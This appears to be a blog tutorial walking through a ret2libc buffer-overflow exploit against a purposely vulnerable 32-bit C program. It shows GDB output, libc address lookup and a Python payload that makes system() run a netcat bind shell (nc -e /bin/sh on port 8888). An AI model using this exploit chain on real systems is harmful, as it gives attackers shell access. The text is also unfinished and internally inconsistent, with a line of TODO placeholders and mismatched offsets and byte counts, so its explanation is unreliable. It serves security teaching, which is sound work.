Assume that we detected a buffer overflow vulnerability, but
- we don’t have enough space on the stack for our shellcode
- or the binary’s stack is marked as not-executable (DEP enabled).
Then we can try to call a common library which is also loaded (wie the plt).
Walkthrough of a ret2lib attack
Before we start, disable ASLR as follows. Circumventing this is another topic.
# echo 0 > /proc/sys/kernel/randomize_va_space
We have the following program with a buffer overflow vulnerability:
#include <stdio.h>
#include <stdlib.h>
void print_name() {
char name[20];
printf("Enter your name: ");
gets(name);
printf("Hello ");
puts(name);
printf("\n");
}
int main() {
print_name();
return 0;
}
Compile it as follows as
- a 32 bit application (same principle, but shorter addresses),
- without canary for the stack protection and
- without PIE (position independent code)
with the following command:
gcc -m32 -fno-stack-protector -no-pie test.c
Execute it and enter 20 bytes. Then more. And more.
$ ./a.out < <(python -c 'print("A" * 20)')
Enter your name: Hello AAAAAAAAAAAAAAAAAAAA
$ ./a.out < <(python -c 'print("A" * 24)')
Enter your name: Hello AAAAAAAAAAAAAAAAAAAAAAAA
$ ./a.out < <(python -c 'print("A" * 28)')
Enter your name: Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ./a.out < <(python -c 'print("A" * 32)')
Enter your name: Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
It crashes with 32 A’s. We know that the char buffer from the code is 20 bytes large. So – why did it not crash before?
Lets inspect the binary. Open GDB and disassemble the print_name function.
$ gdb a.out ... gdb-peda$ disass print_name
We see the following assembler code:
0x080484b6 <+0>: push ebp 0x080484b7 <+1>: mov ebp,esp 0x080484b9 <+3>: push ebx 0x080484ba <+4>: sub esp,0x24 0x080484bd <+7>: call 0x80483f0 <__x86.get_pc_thunk.bx> 0x080484c2 <+12>: add ebx,0x1b3e 0x080484c8 <+18>: sub esp,0xc 0x080484cb <+21>: lea eax,[ebx-0x1a30] 0x080484d1 <+27>: push eax 0x080484d2 <+28>: call 0x8048340 <printf@plt> 0x080484d7 <+33>: add esp,0x10 0x080484da <+36>: sub esp,0xc 0x080484dd <+39>: lea eax,[ebp-0x1c] // (1) 0x080484e0 <+42>: push eax // (2) 0x080484e1 <+43>: call 0x8048350 <gets@plt> // (3) 0x080484e6 <+48>: add esp,0x10 0x080484e9 <+51>: sub esp,0xc ...
We see that in the prolog of the gets function, 0x1C = 28 bytes are allocated on the stack. Two bytes more. Why?
- Function prolog
- (1) 0x12 bytes are allocate on the stack. The stack base address is stored in the eax register.
- (2) The current stack base address in eax is pushed to the stack. It becomes now the saved stack pointer.
- (3) Function call
- Function epilog
- (4) TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO TODO
OK, now we understand why we need two bytes more before we can overwrite the base pointer. Let’s do it: Still in GDB, run the program again, but split the input into three parts.
gdb-peda$ run < <(python -c 'print("A" * 20 + "B" *8 + "C" * 4)')
Starting program: /home/deadlist/re2libc_2021-06-30/a.out < <(python -c 'print("A" * 20 + "B" *8 + "C" * 4)')
Enter your name: Hello AAAAAAAAAAAAAAAAAAAABBBBBBBBCCCC
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xa ('\n')
EBX: 0x42424242 ('BBBB')
ECX: 0xf7fb4890 --> 0x0
EDX: 0xa ('\n')
ESI: 0xf7fb3000 --> 0x1d4d6c
EDI: 0x0
EBP: 0x43434343 ('CCCC')
...
We see that we could overwrite the base register EBX and the base pointer EBP with our values. Now lets try to call system from libc. For this, we need
- the address from system
- the return address (if we are want the program to continue normally; we don’t need this else and could crash the program after our execution)
- arguments for the system call
We get these values as follows: Open GDB, run the program one time and print the address for system and exit:
$ gdb a.out
...
gdb-peda$ run
Enter your name: dfsf
Hello dfsf
[Inferior 1 (process 6678) exited normally]
Warning: not running
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e1ad80 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e0dfd0 <exit>
Now we need the argument for system. We use an environment variable for this to have the space we need also for longer program calls.
export NC="nc.traditional -lnvp 8888 -e /bin/sh"
All environment variables are stored in the process memory. Lets see where our variable will be: (env executable->see disassembly dir on p151)
$ ./env NC a.out NC will be at 0xffffde94
Now we made our call where we use after the buffer with A’s
- the address of system,
- the exit address and
- the address of our environment variable.
$ (python -c 'print("A" * 20 + "\x80\xad\xe1\xf7" + "\xd0\xdf\xe0\xf7" + "\x94\xde\xff\xff")') | ./a.out
Enter your name: Hello AAAAAAAAAAAAAAAAAAAA
sh: 1: lnvp: not found
We have execution, but our address with the environment variable is not right yet. Lets decrease the bold-printed byte of the argument until we find the start address.
$ (python -c 'print("A" * 20 + "\x80\xad\xe1\xf7" + "\xd0\xdf\xe0\xf7" + "\x84\xde\xff\xff")') | ./a.out
Enter your name: Hello AAAAAAAAAAAAAAAAAAAA
listening on [any] 8888 ...
€profit!
Leave a Reply
You must be logged in to post a comment.